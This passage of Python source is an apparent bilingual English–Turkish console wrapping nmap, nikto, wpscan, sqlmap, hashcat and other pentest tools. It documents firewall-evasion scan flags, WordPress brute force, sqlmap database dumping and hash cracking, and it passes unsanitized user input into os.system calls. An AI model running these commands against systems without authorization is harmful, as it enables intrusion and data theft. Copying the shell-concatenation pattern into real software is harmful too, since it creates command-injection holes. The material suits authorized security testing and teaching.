kullanarak sistemlerin açık - kapalı olduğunu test eder.\n\x1b[32m-T4:\x1b[37m \x1b[33mEN:\x1b[37m Sets the speed limit. (It should take a value between 0-5.) Default value : 3 \x1b[33mTR:\x1b[37m Hız limitini ayarlar. (0-5 arasında değer almalıdır.) Varsayılan değer : 3\n\x1b[32m-D:\x1b[37m \x1b[33mEN:\x1b[37m Decoy, pretends to be browsing from another network. Used to bypass firewall. (Example available.) RND:10 = [Decoy with 10 devices] \x1b[33m\n\t TR:\x1b[37m Decoy (tuzak), başka bir ağdan tarama yapıyormuş gibi gösterir. Firewall atlatmak için kullanılır. (Örnek mevcuttur.) RND:10 = [10 tane cihaz ile tuzak]\n\x1b[32m-F:\x1b[37m \x1b[33mEN:\x1b[37m We try to bypass firewall, ids, ips devices. It sends the packet sizes we use by splitting it into 8 bytes (normally 1500 bytes). \x1b[33m\n\t TR:\x1b[37m Firewall, ids, ips cihazlarını atlatmaya çalışırız. Kullandığımız paket boyutlarını 8 byte şeklinde parçalayarak gönderir (Normalde ortalama 1500 byte)\n\x1b[32m-mtu 16:\x1b[37m \x1b[33mEN:\x1b[37m \x1b[31mM\x1b[37maximum \x1b[31mT\x1b[37mransmission \x1b[31mU\x1b[37mnit. We try to bypass firewall, ids, ips devices by determining the packet size ourselves [16,32,64,128]. \x1b[33m\n\t TR:\x1b[37m \x1b[31mM\x1b[37maximum \x1b[31mT\x1b[37mransmission \x1b[31mU\x1b[37mnit. Paket boyutunu kendimiz belirleyerek [16,32,64,128] firewall, ids, ips cihazlarını atlatmaya çalışırız.\n\x1b[32m-iL:\x1b[37m \x1b[33mEN:\x1b[37m It allows us to add a list. We must write the IP addresses (or host addresses) that we have determined for the list, line by line. \x1b[33m\n\t TR:\x1b[37m Liste eklememizi sağlar. Liste için belirlediğimiz IP adreslerini (ya da host adreslerini) satır satır yazmalıyız.\n\x1b[32m-d:\x1b[37m \x1b[33mEN:\x1b[37m Debug. \x1b[33mTR:\x1b[37m Hata ayıklama.\n\x1b[32m--reason:\x1b[37m \x1b[33mEN:\x1b[37m Reason. \x1b[33mTR:\x1b[37m Sebep.\n\x1b[32m-oA:\x1b[37m \x1b[33mEN:\x1b[37m Output. \x1b[33mTR:\x1b[37m Çıktı almamızı sağlar.\n\x1b[32m-oN:\x1b[37m \x1b[33mEN:\x1b[37m Output. (It's in the examples section.) \x1b[33mTR:\x1b[37m Çıktı almamızı sağlar. (Örnekler kısmında mevcut.)\n\x1b[32m--script vuln:\x1b[37m \x1b[33mEN:\x1b[37m Scans for vulnerabilities with Nmap scripts. \x1b[33mTR:\x1b[37m Nmap scriptleri ile güvenlik açıkları tarar.\n\x1b[32m--top-ports 108:\x1b[37m \x1b[33mEN:\x1b[37m The 108 most popular ports are shown. (108 can be changed) \x1b[33mTR:\x1b[37m En popüler 108 port gösterilir. (108 değiştirilebilir)\n\x1b[32m-p 1-100 --exclude-ports 23,25:\x1b[37m \x1b[33mEN:\x1b[37m Ports 1 to 100 are scanned, except 23 and 25. \x1b[33mTR:\x1b[37m 23 ve 25 hariç 1 ile 100 arasindaki portlar taranır.\n\n\x1b[34mEX:\x1b[37m nmap --script vuln 192.168.109\n\x1b[34mEX:\x1b[37m nmap --script http-enum.nse -p 80 10.8.1.08\n\x1b[34mEX:\x1b[37m nmap --script ftp-vsftpd-backdoor -p 21 165.165.45.23\n\x1b[34mEX:\x1b[37m nmap -sS -O 10.8.1.08\n\x1b[34mEX:\x1b[37m nmap -sS -sV -O -T4 -p- 10.8.1.08\n\x1b[34mEX:\x1b[37m nmap -sS -iL /root/Desktop/deneme.txt -p 80\n\x1b[34mEX:\x1b[37m nmap -D 192.168.8.108 192.168.8.109\n\x1b[34mEX:\x1b[37m nmap -D RND:10 192.168.8.109\n\x1b[34mEX:\x1b[37m nmap -sS -sV -O -T4 -oN deneme.txt 192.168.8.109\n\x1b[34mEX:\x1b[37m nmap -f 192.168.109") elif "set ip" in uinput.lower(): ip = uinput ip = ip.replace("set ip ","").replace("set IP ","").replace("SET ip ","").replace("SET IP ","").center(25) elif "set port" in uinput.lower(): port = uinput port = port.replace("set port ","").replace("set PORT ","").replace("SET port ","").replace("SET PORT ","").center(25) elif "set special" in uinput.lower(): special = uinput special = special.replace("set special ","").replace("set SPECIAL ","").replace("SET special ","").replace("SET SPECIAL ","").center(25) elif "run" == uinput.lower(): os.system("sudo nmap " + special.strip() + " " + ip.strip() + " " + port.strip()) def nikto(): ip = " " while 1: uinput = input("\x1b[1m\033[36m[mksec]\033[36m[nikto]\033[37m\x1b[0m ") UserInputs(uinput+"vuln") if uinput.lower() == "info": print("\x1b[1m\x1b[33mEN:\x1b[37mScans the target system for vulnerabilities.\n\x1b[33mTR:\x1b[37mHedef sistemde zafiyet taraması yapar.") elif uinput.lower() == "options": print("\x1b[1m\x1b[33mOption\x1b[37m \x1b[33mCurrent Setting\x1b[37m \x1b[33mRequirement\x1b[37m \x1b[33mDescription\x1b[37m\n\x1b[33m=======\x1b[37m \x1b[33m===============\x1b[37m \x1b[33m===========\x1b[37m \x1b[33m============\x1b[37m\nIP {} YES Target ip address \x1b[32mex: 192.168.10.8 or test.com\x1b[37m".format(ip)) elif "set ip" in uinput.lower(): ip = uinput ip = ip.replace("set ip ","").replace("set IP ","").replace("SET ip ","").replace("SET IP ","").center(25) elif "run" == uinput.lower(): os.system("sudo nikto -h " + ip.strip()) def unixPrivescCheck(): check = " " while 1: uinput = input("\x1b[1m\033[36m[mksec]\033[36m[unix-privesc-check]\033[37m\x1b[0m ") UserInputs(uinput+"vuln") if uinput.lower() == "info": print("\x1b[1m\x1b[33mEN:\x1b[37mIt is a tool used to find possible vulnerabilities of the system before escalation in Linux systems. If it doesn't work with the \x1b[36m'run'\x1b[37m command, try the \x1b[36m'run -f'\x1b[37m command.\n\x1b[33mTR:\x1b[37mLinux sistemlerde yetki yükseltme işleminden önce, sistemin olası açıklarını bulmak için kullanılan bir araçtır. \x1b[36m'run'\x1b[37m komutu ile çalışmıyorsa \x1b[36m'run -f'\x1b[37m komutunu deneyiniz.") elif uinput.lower() == "options": print("\x1b[1m\x1b[33mOption\x1b[37m \x1b[33mCurrent Setting\x1b[37m \x1b[33mRequirement\x1b[37m \x1b[33mDescription\x1b[37m\n\x1b[33m=======\x1b[37m \x1b[33m===============\x1b[37m \x1b[33m===========\x1b[37m \x1b[33m============\x1b[37m\nCHECK {} YES Scan format: \x1b[32m(standard/detailed)\x1b[37m".format(check)) elif "set check" in uinput.lower(): check = uinput check = check.replace("set check ","").replace("set CHECK ","").replace("SET check ","").replace("SET CHECK ","").center(25) elif "run" == uinput.lower(): os.system("unix-privesc-check " + check.strip()) elif "run -f" == uinput.lower(): os.system("cd /opt/unix-privesc-check/ && bash upc.sh " + check.strip()) def chkrootkit(): check = " " while 1: uinput = input("\x1b[1m\033[36m[mksec]\033[36m[chkrootkit]\033[37m\x1b[0m ") UserInputs(uinput+"vuln") if uinput.lower() == "info": print("\x1b[1m\x1b[33mEN:\x1b[37mChkrootkit tool analyzes rootkit viruses on the whole system.\nRootkit is a specially crafted malicious software.\nRootkits, like viruses, infiltrate and control the system to damage the system. \n\n\x1b[33mInterpreting Chkrootkit output:\x1b[37m\n\n\x1b[31mNot found:\x1b[37m No virus found.\n\x1b[31mNot infected:\x1b[37m No virus infected.\n\x1b[31mNothing found:\x1b[37m Nothing found.\n\x1b[31mNothing deleted:\x1b[37m Nothing has been deleted.\n\x1b[31mNo suspect files:\x1b[37m Suspicious file not found.\n\x1b[31mInfected:\x1b[37m The virus is infected.\n\n\x1b[33mTR:\x1b[37mChkrootkit aracı, bütün sistemde rootkit virüslerinin analizini yapar.\nRootkit, özel olarak hazırlanmış zararlı bir yazılımdır.\nRootkitler, virüsler gibi sisteme zarar vermek için sisteme sızıp kontrol etmektir.\n\n\x1b[33mChkrootkit çıktısının yorumlanması:\x1b[37m\n\n\x1b[31mNot found:\x1b[37m Virüs bulunamadı.\n\x1b[31mNot infected:\x1b[37m Virüs bulaşmadı.\n\x1b[31mNothing found:\x1b[37m Hiçbir sey bulunamadı.\n\x1b[31mNothing deleted:\x1b[37m Hiçbir sey silinmemiş.\n\x1b[31mNo suspect files:\x1b[37m Şüpheli dosya bulunamadı.\n\x1b[31mInfected:\x1b[37m Virüs bulaştı.\n") elif uinput.lower() == "options": print("\x1b[1m\x1b[33mOption\x1b[37m \x1b[33mCurrent Setting\x1b[37m \x1b[33mRequirement\x1b[37m \x1b[33mDescription\x1b[37m\n\x1b[33m=======\x1b[37m \x1b[33m===============\x1b[37m \x1b[33m===========\x1b[37m \x1b[33m============\x1b[37m\nCHECK {} NO ---".format(check)) elif "set check" in uinput.lower(): check = uinput check = check.replace("set check ","").replace("set CHECK ","").replace("SET check ","").replace("SET CHECK ","").center(25) elif "run" == uinput.lower(): os.system("sudo chkrootkit") def lynis(): check = " " while 1: uinput = input("\x1b[1m\033[36m[mksec]\033[36m[lynis]\033[37m\x1b[0m ") UserInputs(uinput+"vuln") if uinput.lower() == "info": print("\x1b[1m\x1b[33mEN:\x1b[37mLynis is a system integrity scan program for Linux and Unix based systems. It checks that the services that make the system work are integrated and error-free. \n\x1b[33mTR:\x1b[37mLynis, Linux ve Unix temelli sistemler için bir sistem bütünlük tarama programıdır. Sistemin çalışmasını sağlayan servislerin entegre ve hatasız çalıştığını kontrol eder.") elif uinput.lower() == "options": print("\x1b[1m\x1b[33mOption\x1b[37m \x1b[33mCurrent Setting\x1b[37m \x1b[33mRequirement\x1b[37m \x1b[33mDescription\x1b[37m\n\x1b[33m=======\x1b[37m \x1b[33m===============\x1b[37m \x1b[33m===========\x1b[37m \x1b[33m============\x1b[37m\nCHECK {} NO ---".format(check)) elif "set check" in uinput.lower(): check = uinput check = check.replace("set check ","").replace("set CHECK ","").replace("SET check ","").replace("SET CHECK ","").center(25) elif "run" == uinput.lower(): os.system("sudo lynis audit system") def skipfish(): url = " " output = " " while 1: uinput = input("\x1b[1m\033[36m[mksec]\033[36m[skipfish]\033[37m\x1b[0m ") UserInputs(uinput+"webapp") if uinput.lower() == "info": print("\x1b[1m\x1b[33mEN:\x1b[37mSearches the website for vulnerabilities.\n\x1b[33mTR:\x1b[37mWeb sitesinde zafiyet arar.") elif uinput.lower() == "options": print("\x1b[1m\x1b[33mOption\x1b[37m \x1b[33mCurrent Setting\x1b[37m \x1b[33mRequirement\x1b[37m \x1b[33mDescription\x1b[37m\n\x1b[33m=======\x1b[37m \x1b[33m===============\x1b[37m \x1b[33m===========\x1b[37m \x1b[33m============\x1b[37m\nURL {} YES Target Site \x1b[32mex: http://testphp.vulnweb.com\x1b[37m\nOUTPUT{} YES Where you want to save? \x1b[32mex: /root/Desktop/test\x1b[37m".format(url,output)) elif "set url" in uinput.lower(): url = uinput url = url.replace("set url ","").replace("set URL ","").replace("SET url ","").replace("SET URL ","").center(25) elif "set output" in uinput.lower(): output = uinput output = output.replace("set output ","").replace("set OUTPUT ","").replace("SET output ","").replace("SET OUTPUT ","").center(25) elif "run" == uinput.lower(): os.system("skipfish -o " + output.strip() + " " + url.strip()) def wpscan(): url = " " output = " " attacks = " " usernamelist = " " passwordlist = " " while 1: uinput = input("\x1b[1m\033[36m[mksec]\033[36m[wpscan]\033[37m\x1b[0m ") UserInputs(uinput+"webapp") if uinput.lower() == "info": print("\x1b[1m\x1b[33mEN:\x1b[37mWPScan can be used in various areas such as finding and brute-force plugins and themes used on a WordPress site.\n\x1b[33mTR:\x1b[37mWPScan, bir WordPress sitesinde kullanılan eklentileri ve temaları bulmak ve brute force yapmak gibi çeşitli alanlarda kullanılabilir.") elif uinput.lower() == "options": print("\x1b[1m\x1b[33mOption\x1b[37m \x1b[33mCurrent Setting\x1b[37m \x1b[33mRequirement\x1b[37m \x1b[33mDescription\x1b[37m\n\x1b[33m=======\x1b[37m \x1b[33m===============\x1b[37m \x1b[33m===========\x1b[37m \x1b[33m============\x1b[37m\nURL {} YES Target Site \x1b[32mex: hackware.ru\x1b[37m\nOUTPUT {} YES Where you want to save? \x1b[32mex: /root/Desktop/test\x1b[37m\nUSERNAME{} NO Only used for brute force attack \x1b[32mex: /root/Desktop/username-list.txt\x1b[37m\nPASSWORD{} NO Only used for brute force attack \x1b[32mex: /root/Desktop/password-list.txt\x1b[37m\nATTACK {} OPT To see attack types: \x1b[32m--attacks\x1b[37m".format(url,output,usernamelist,passwordlist,attacks)) elif "--attacks" == uinput.lower(): print("\x1b[1m\x1b[37m\nLeave blank for \x1b[33mQuick scan\x1b[37m\nType \x1b[36m'-e vp'\x1b[37m for \x1b[33mVulnerable Plugins\x1b[37m\nType \x1b[36m'-e ap'\x1b[37m for \x1b[33mAll Plugins\x1b[37m\nType \x1b[36m'-e p'\x1b[37m for \x1b[33mPopular Plugins\x1b[37m\nType \x1b[36m'-e vt'\x1b[37m for \x1b[33mVulnerable Themes\x1b[37m\nType \x1b[36m'-e at'\x1b[37m for \x1b[33mAll Themes\x1b[37m\nType \x1b[36m'-e t'\x1b[37m for \x1b[33mPopuler Themes\x1b[37m\nType \x1b[36m'-e tt'\x1b[37m for \x1b[33mTimthumbs\x1b[37m\nType \x1b[36m'-e cb'\x1b[37m for \x1b[33mConfig Backups\x1b[37m\nType \x1b[36m'-e dbe'\x1b[37m for \x1b[33mDB Exports\x1b[37m\nType \x1b[36m'-e u\x1b[37m' for \x1b[33mUser ID's\x1b[37m\nType \x1b[36m'-e m'\x1b[37m for \x1b[33mMedia ID's\x1b[37m\nFill in all options for \x1b[33mBrute Force\x1b[37m and run it by typing \x1b[36m'brute force'\x1b[37m\x1b[32m\n") elif "set url" in uinput.lower(): url = uinput url = url.replace("set url ","").replace("set URL ","").replace("SET url ","").replace("SET URL ","").center(25) elif "set output" in uinput.lower(): output = uinput output = output.replace("set output ","").replace("set OUTPUT ","").replace("SET output ","").replace("SET OUTPUT ","").center(25) elif "set username" in uinput.lower(): usernamelist = uinput usernamelist = usernamelist.replace("set username ","").replace("set USERNAME ","").replace("SET username ","").replace("SET USERNAME ","").center(25) elif "set password" in uinput.lower(): passwordlist = uinput passwordlist = passwordlist.replace("set password ","").replace("set PASSWORD ","").replace("SET password ","").replace("SET PASSWORD ","").center(25) elif "set attack" in uinput.lower(): attacks = uinput attacks = attacks.replace("set attack ","").replace("set ATTACK ","").replace("SET attack ","").replace("SET ATTACK ","").center(25) elif "run" == uinput.lower(): print("please wait...") os.system("wpscan --url " + url.strip() + " -o " + output.strip() + " " + attacks.strip() + " --random-user-agent") elif "brute" == uinput.lower(): print("please wait...") os.system("sudo wpscan --url " + url.strip() + " -o " + output.strip() + " -U " + usernamelist.strip() + " -P " + passwordlist.strip() + " --random-user-agent ") def sqlmap(): url = " " database = " " tables = " " columns = " " while 1: uinput = input("\x1b[1m\033[36m[mksec]\033[36m[sqlmap]\033[37m\x1b[0m ") UserInputs(uinput+"webapp") if uinput.lower() == "info": print("\x1b[1m\x1b[37m\x1b[33mWhat is Sqlmap?\x1b[37m\n\x1b[33m===============\x1b[37m\nSqlmap is an open source sql injection vulnerability detection and exploitation tool.\nIt detects the type of sql injection on the system by sending various queries/commands to the database system used by the target web application provided to it.\n\n\x1b[33mHere are some data that can be obtained about the target with sqlmap:\x1b[37m\n\x1b[33m=====================================================================\x1b[37m\nDatabase type and version (–banner, –all)\nCurrent used database and all database names that can be accessed (–current-db, –dbs)\nDatabase tables (tables) and their columns (columns) (–tables, –columns)\nDatabase data(–dump, –dump-all)\nDatabase current user and all users(–current-user, –users)\nDatabase user password (–passwords)\nInformation whether the database user is DB admin (–is-dba)\nInformation about the target server (Operating system, technology in which the application is used, etc., -f)\n\n\x1b[33mHow is it used in \x1b[36mMKSEC\x1b[37m?\n====================================\n\x1b[32m[1]\x1b[37m If you are only going to enter 'URL' and you want to test the exposed site, type \x1b[36m'run --url'\x1b[37m or \x1b[36m'run -u'\x1b[37m.\n\x1b[32m[2]\x1b[37m If you have accessed the database on the vulnerable site and filled in the 'URL' and 'DB' sections, type \x1b[36m'run --url --database'\x1b[37m or \x1b[36m'run -u -d'\x1b[37m.\n\x1b[32m[3]\x1b[37m If you have filled in 'URL', 'DB', 'TABLES' in the vulnerable site, type \x1b[36m'run --url --database --tables'\x1b[37m or \x1b[36m'run -u -d -t'\x1b[37m.\n\x1b[32m[4]\x1b[37m If you have filled in 'URL', 'DB', 'TABLES', 'COLUMNS' on the vulnerable site, type \x1b[36m'run --url --database --tables --columns'\x1b[37m or \x1b[36m'run -u -d -t -c'\x1b[37m.\n\n\n\x1b[33mSqlmap Nedir?\x1b[37m\n\x1b[33m=============\x1b[37m\nSqlmap açık kaynak kodlu sql injection açıklığı tespit ve istismar etme aracıdır.\nKendisine sağlanan hedef web uygulamasının kullandığı veritabanı sistemine gönderdiği çeşitli sorgular/komutlar ile sistem üzerindeki sql injection tipini tespit eder.\n\n\x1b[33mSqlmap ile hedef hakkında elde edilebilen bazı veriler;\x1b[37m\n\x1b[33m=======================================================\x1b[37m\nVeritabanı türü ve versiyonu (–banner,–all)\nMevcut kullanılan veritabanı ve erişilebilen tüm veritabanı isimleri (–current-db, –dbs)\nVeritabanı tabloları(tables) ve bu tablolara ait kolonları(columns) (–tables, –columns)\nVeritabanı datası(–dump, –dump-all)\nVeritabanı mevcut kullanıcısı ve tüm kullanıcılar(–current-user,–users)\nVeritabanı kullanıcı parolası (–passwords)\nVeritabanı kullanıcısının DB admin olup olmadığı bilgisi(–is-dba)\nHedef sunucu hakkında bilgi(İşletim sistemi, Uygulamanın kullanıldığı teknoloji vs. , -f)\n\n\x1b[36mMKSEC\x1b[33m içerisinde nasıl kullanılır?\x1b[37m\n\x1b[33m==================================\x1b[37m\n\x1b[32m[1]\x1b[37m Sadece 'URL' girecekseniz ve açıklı siteyi test etmek istiyorsanız \x1b[36m'run --url'\x1b[37m or \x1b[36m'run -u'\x1b[37m yazınız.\n\x1b[32m[2]\x1b[37m Zaafiyetli sitedeki veritabanına eriştiyseniz ve 'URL' ve 'DB' kısımlarını doldurduysanız \x1b[36m'run --url --database'\x1b[37m or \x1b[36m'run -u -d'\x1b[37m yazınız.\n\x1b[32m[3]\x1b[37m Zaafiyetli sitede 'URL', 'DB', 'TABLES' kısımlarını doldurduysanız \x1b[36m'run --url --database --tables'\x1b[37m or \x1b[36m'run -u -d -t'\x1b[37m yazınız.\n\x1b[32m[4]\x1b[37m Zaafiyetli sitede 'URL', 'DB', 'TABLES', 'COLUMNS' kısımlarını doldurduysanız \x1b[36m'run --url --database --tables --columns'\x1b[37m or \x1b[36m'run -u -d -t -c'\x1b[37m yazınız.") elif uinput.lower() == "options": print("\x1b[1m\x1b[33mOption\x1b[37m \x1b[33mCurrent Setting\x1b[37m \x1b[33mRequirement\x1b[37m \x1b[33mDescription\x1b[37m\n\x1b[33m=======\x1b[37m \x1b[33m===============\x1b[37m \x1b[33m===========\x1b[37m \x1b[33m============\x1b[37m\nURL {} YES Target Site \x1b[32mex: http://www.test.com/article.php?id=108\x1b[37m\nDB {} OPT Database name of target site \x1b[32mex: Information_Schema\x1b[37m\nTABLES {} OPT Tables of the target site \x1b[32mex: Administrators\x1b[37m\nCOLUMNS{} OPT Columns of the target site \x1b[32mex: Columns\x1b[37m".format(url,database,tables,columns)) elif "set url" in uinput.lower(): url = uinput url = url.replace("set url ","").replace("set URL ","").replace("SET url ","").replace("SET URL ","").center(50) elif "set db" in uinput.lower(): database = uinput database = database.replace("set db ","").replace("set DB ","").replace("SET db ","").replace("SET DB ","").center(50) elif "set tables" in uinput.lower(): tables = uinput tables = tables.replace("set tables ","").replace("set TABLES ","").replace("SET tables ","").replace("SET TABLES ","").center(50) elif "set columns" in uinput.lower(): columns = uinput columns = columns.replace("set columns ","").replace("set COLUMNS ","").replace("SET columns ","").replace("SET COLUMNS ","").center(50) elif "run" == uinput.lower(): print("\x1b[1m\x1b[31mCommand not found. You can check the run command by typing 'info'\x1b[1m") elif "run --url" == uinput.lower() or "run -u" == uinput.lower(): print("\x1b[1m\x1b[36m[*]MKSEC") os.system("sqlmap -u " + url.strip() + " --dbs --random-agent") elif "run --url --database" == uinput.lower() or "run -u -d" == uinput.lower(): print("\x1b[1m\x1b[36m[*]MKSEC") os.system("sqlmap -u " + url.strip() + " -D " + database.strip() + " --tables --random-agent") elif "run --url --database --tables" == uinput.lower() or "run -u -d -t" == uinput.lower(): print("\x1b[1m\x1b[36m[*]MKSEC") os.system("sqlmap -u " + url.strip() + " -D " + database.strip() + " -T " + tables.strip() + " -- columns --random-agent") elif "run --url --database --tables --columns" == uinput.lower() or "run -u -d -t -c" == uinput.lower(): print("\x1b[1m\x1b[36m[*]MKSEC") os.system("sqlmap -u " + url.strip() + " -D " + database.strip() + " -T " + tables.strip() + " -C " + columns.strip() + " --dump --random-agent") else: os.system("clear") sqlmap() def cewl(): url = " " mail = " " output = " " while 1: uinput = input("\x1b[1m\033[36m[mksec]\033[36m[cewl]\033[37m\x1b[0m ") UserInputs(uinput+"pass") if uinput.lower() == "info": print("\x1b[1m\x1b[33mEN:\x1b[37mCollects the words that can be a password on any site and prepares a wordlist using these words. Can also collect e-mail addresses from the site.\n\x1b[33mTR:\x1b[37mHerhangi bir sitede şifre olabilecek kelimeleri toplar ve bu kelimeleri kullanarak bir kelime listesi hazırlar. Ayrıca siteden e-posta adreslerini de toplayabilir. ") elif uinput.lower() == "options": print("\x1b[1m\x1b[33mOption\x1b[37m \x1b[33mCurrent Setting\x1b[37m \x1b[33mRequirement\x1b[37m \x1b[33mDescription\x1b[37m\n\x1b[33m=======\x1b[37m \x1b[33m===============\x1b[37m \x1b[33m===========\x1b[37m \x1b[33m============\x1b[37m\nURL {} YES Target Site \x1b[32mex: test.com\x1b[37m \nOUTPUT{} YES Where you want to save? \x1b[32mex: /root/Desktop/test.txt\x1b[37m\nMAIL {} OPT If you want to find the e-mail addresses on the target website, type \x1b[32m'-e'\x1b[37m".format(url,output,mail)) elif "set url" in uinput.lower(): url = uinput url = url.replace("set url ","").replace("set URL ","").replace("SET url ","").replace("SET URL ","").center(25) elif "set output" in uinput.lower(): output = uinput output = output.replace("set output ","").replace("set OUTPUT ","").replace("SET output ","").replace("SET OUTPUT ","").center(25) elif "set mail" in uinput.lower(): mail = uinput mail = mail.replace("set mail ","").replace("set MAIL ","").replace("SET mail ","").replace("SET MAIL ","").center(25) elif "run" == uinput.lower(): os.system("sudo cewl " + url.strip() + " -w " + output.strip() + " " + mail.strip()) def crunch(): min = " " max = " " char = " " output = " " while 1: uinput = input("\x1b[1m\033[36m[mksec]\033[36m[crunch]\033[37m\x1b[0m ") UserInputs(uinput+"pass") if uinput.lower() == "info": print("\x1b[1m\x1b[33mEN:\x1b[37mIt is a tool that allows you to create a wordlist with the specified length and characters from previously determined character sets or created by you.\n\x1b[33mTR:\x1b[37mDaha önce belirlediğiniz veya sizin oluşturduğunuz karakter kümelerinden belirtilen uzunluk ve karakterlerle wordlist oluşturmanıza olanak sağlayan bir araçtır.") elif uinput.lower() == "options": print("\x1b[1m\x1b[33mOption\x1b[37m \x1b[33mCurrent Setting\x1b[37m \x1b[33mRequirement\x1b[37m \x1b[33mDescription\x1b[37m\n\x1b[33m=======\x1b[37m \x1b[33m===============\x1b[37m \x1b[33m===========\x1b[37m \x1b[33m============\x1b[37m\nMIN {} YES The words in the word list you will create should consist of at least how many letters \x1b[32mex: 8\x1b[37m\nMAX {} YES How many letters should the words in the word list you create consist of? \x1b[32mex: 16\x1b[37m\nCHAR {} YES Identify the letters in the word list you will create \x1b[32mex: xyzABC123_-*\x1b[37m\nOUTPUT {} YES Output \x1b[32mex: /root/Desktop/mksec\x1b[37m".format(min,max,char,output)) elif "set min" in uinput.lower(): min = uinput min = min.replace("set min ","").replace("set MIN ","").replace("SET min ","").replace("SET MIN ","").center(25) elif "set max" in uinput.lower(): max = uinput max = max.replace("set max ","").replace("set MAX ","").replace("SET max ","").replace("SET MAX ","").center(25) elif "set char" in uinput.lower(): char = uinput char = char.replace("set char ","").replace("set CHAR ","").replace("SET char ","").replace("SET CHAR ","").center(25) elif "set output" in uinput.lower(): output = uinput output = output.replace("set output ","").replace("set OUTPUT ","").replace("SET output ","").replace("SET OUTPUT ","").center(25) elif "run" == uinput.lower(): os.system("sudo crunch " + min.strip() + " " + max.strip() + " " + char.strip() + " -o " + output.strip()) print("Process Completed") def hashcat(): hash = " " hashmode = " " wordlist = " " bruteforce = " " while 1: uinput = input("\x1b[1m\033[36m[mksec]\033[36m[hashcat]\033[37m\x1b[0m ") UserInputs(uinput+"pass") if uinput.lower() == "info": print("\x1b[1m\x1b[33mEN:\x1b[37mBreaks one-way encryption algorithms (hashes).\nUsage:\nIn order to crack the hash, you can try only one of the wordlist or brute force methods at once.\nIf you want to try with wordlist, you should fill in \x1b[34m'WORDLIST'\x1b[37m and type \x1b[34m'run -w'\x1b[37m.\nIf you want to try with brute force, you should fill in \x1b[34m'BRUTEFORCE'\x1b[37m and type \x1b[34m'run -b'\x1b[37m.\n\x1b[1m\x1b[33mTR:\x1b[37mTek yönlü şifreleme algoritmalarını (hashes) kırar.\nKullanımı:\nHash'i kırmak için aynı anda wordlist veya brute force yöntemlerinden sadece birini deneyebilirsiniz.\nKelime listesi (Wordlist) ile denemek istiyorsanız, \x1b[34m'WORDLIST'\x1b[37m alanını doldurmalı ve \x1b[34m'run -w'\x1b[37m yazmalısınız.\nKaba kuvvetle (Brute-Force) denemek istiyorsanız, \x1b[34m'BRUTEFORCE'\x1b[37m alanını doldurmalı ve \x1b[34m'run -b'\x1b[37m yazmalısınız.") elif uinput.lower() == "options": print("\x1b[1m\x1b[33mOption\x1b[37m \x1b[33mCurrent Setting\x1b[37m \x1b[33mRequirement\x1b[37m \x1b[33mDescription\x1b[37m\n\x1b[33m=======\x1b[37m \x1b[33m===============\x1b[37m \x1b[33m===========\x1b[37m \x1b[33m============\x1b[37m\nMODE {} YES You can see the hash modes by typing \x1b[32m'--hash mode'\x1b[37m. MD5 = 0 \x1b[32mex: 0\x1b[37m\nHASH {} YES Enter the hash file \x1b[32mex: /root/Desktop/hash.txt\x1b[37m\nWORDLIST {} OPT Enter the word list \x1b[32mex: /root/Desktop/wordlist.txt\x1b[37m\nBRUTEFORCE{} OPT If you are going to brute force attack, type \x1b[32m'--brute force'\x1b[37m to see its usage".format(hashmode,hash,wordlist,bruteforce)) elif "set mode" in uinput.lower(): hashmode = uinput hashmode = hashmode.replace("set mode ","").replace("set MODE ","").replace("SET mode ","").replace("SET MODE ","").center(25) elif "set hash" in uinput.lower(): hash = uinput hash = hash.replace("set hash ","").replace("set HASH ","").replace("SET hash ","").replace("SET HASH ","").center(25) elif "set wordlist" in uinput.lower(): wordlist = uinput wordlist = wordlist.replace("set wordlist ","").replace("set WORDLIST ","").replace("SET wordlist ","").replace("SET WORDLIST ","").center(25) elif "set bruteforce" in uinput.lower(): bruteforce = uinput bruteforce = bruteforce.replace("set bruteforce ","").replace("set BRUTEFORCE ","").replace("SET bruteforce ","").replace("SET BRUTEFORCE ","").center(25) elif "--hash mode" == uinput.lower(): print("- [ Hash modes ] -\n\n # | Name | Category\n==========+==================================================+=====================================\n 900 | MD4 | Raw Hash\n 0 | MD5 | Raw Hash\n 100 | SHA1 | Raw Hash\n 1300 | SHA2-224 | Raw Hash\n 1400 | SHA2-256 | Raw Hash\n 10800 | SHA2-384 | Raw Hash\n 1700 | SHA2-512 | Raw Hash\n 17300 | SHA3-224 | Raw Hash\n 17400 | SHA3-256 | Raw Hash\n 17500 | SHA3-384 | Raw Hash\n 17600 | SHA3-512 | Raw Hash\n 6000 | RIPEMD-160 | Raw Hash\n 600 | BLAKE2b-512 | Raw Hash\n 11700 | GOST R 34.11-2012 (Streebog) 256-bit, big-endian | Raw Hash\n 11800 | GOST R 34.11-2012 (Streebog) 512-bit, big-endian | Raw Hash\n 6900 | GOST R 34.11-94 | Raw Hash\n 5100 | Half MD5 | Raw Hash\n 18700 | Java Object hashCode() | Raw Hash\n 17700 | Keccak-224 | Raw Hash\n 17800 | Keccak-256 | Raw Hash\n 17900 | Keccak-384 | Raw Hash\n 18000 | Keccak-512 | Raw Hash\n 21400 | sha256(sha256_bin($pass)) | Raw Hash\n 6100 | Whirlpool | Raw Hash\n 10100 | SipHash | Raw Hash\n 21000 | BitShares v0.x - sha512(sha512_bin(pass)) | Raw Hash\n 10 | md5($pass.$salt) | Raw Hash, Salted and/or Iterated\n 20 | md5($salt.$pass) | Raw Hash, Salted and/or Iterated\n 3800 | md5($salt.$pass.$salt) | Raw Hash, Salted and/or Iterated\n 3710 | md5($salt.md5($pass)) | Raw Hash, Salted and/or Iterated\n 4110 | md5($salt.md5($pass.$salt)) | Raw Hash, Salted and/or Iterated\n 4010 | md5($salt.md5($salt.$pass)) | Raw Hash, Salted and/or Iterated\n 21300 | md5($salt.sha1($salt.$pass)) | Raw Hash, Salted and/or Iterated\n 40 | md5($salt.utf16le($pass)) | Raw Hash, Salted and/or Iterated\n 2600 | md5(md5($pass)) | Raw Hash, Salted and/or Iterated\n 3910 | md5(md5($pass).md5($salt)) | Raw Hash, Salted and/or Iterated\n 4400 | md5(sha1($pass)) | Raw Hash, Salted and/or Iterated\n 20900 | md5(sha1($pass).md5($pass).sha1($pass)) | Raw Hash, Salted and/or Iterated\n 21200 | md5(sha1($salt).md5($pass)) | Raw Hash, Salted and/or Iterated\n 4300 | md5(strtoupper(md5($pass))) | Raw Hash, Salted and/or Iterated\n 30 | md5(utf16le($pass).$salt) | Raw Hash, Salted and/or Iterated\n 110 | sha1($pass.$salt) | Raw Hash, Salted and/or Iterated\n 120 | sha1($salt.$pass) | Raw Hash, Salted and/or Iterated\n 4900 | sha1($salt.$pass.$salt) | Raw Hash, Salted and/or Iterated\n 4520 | 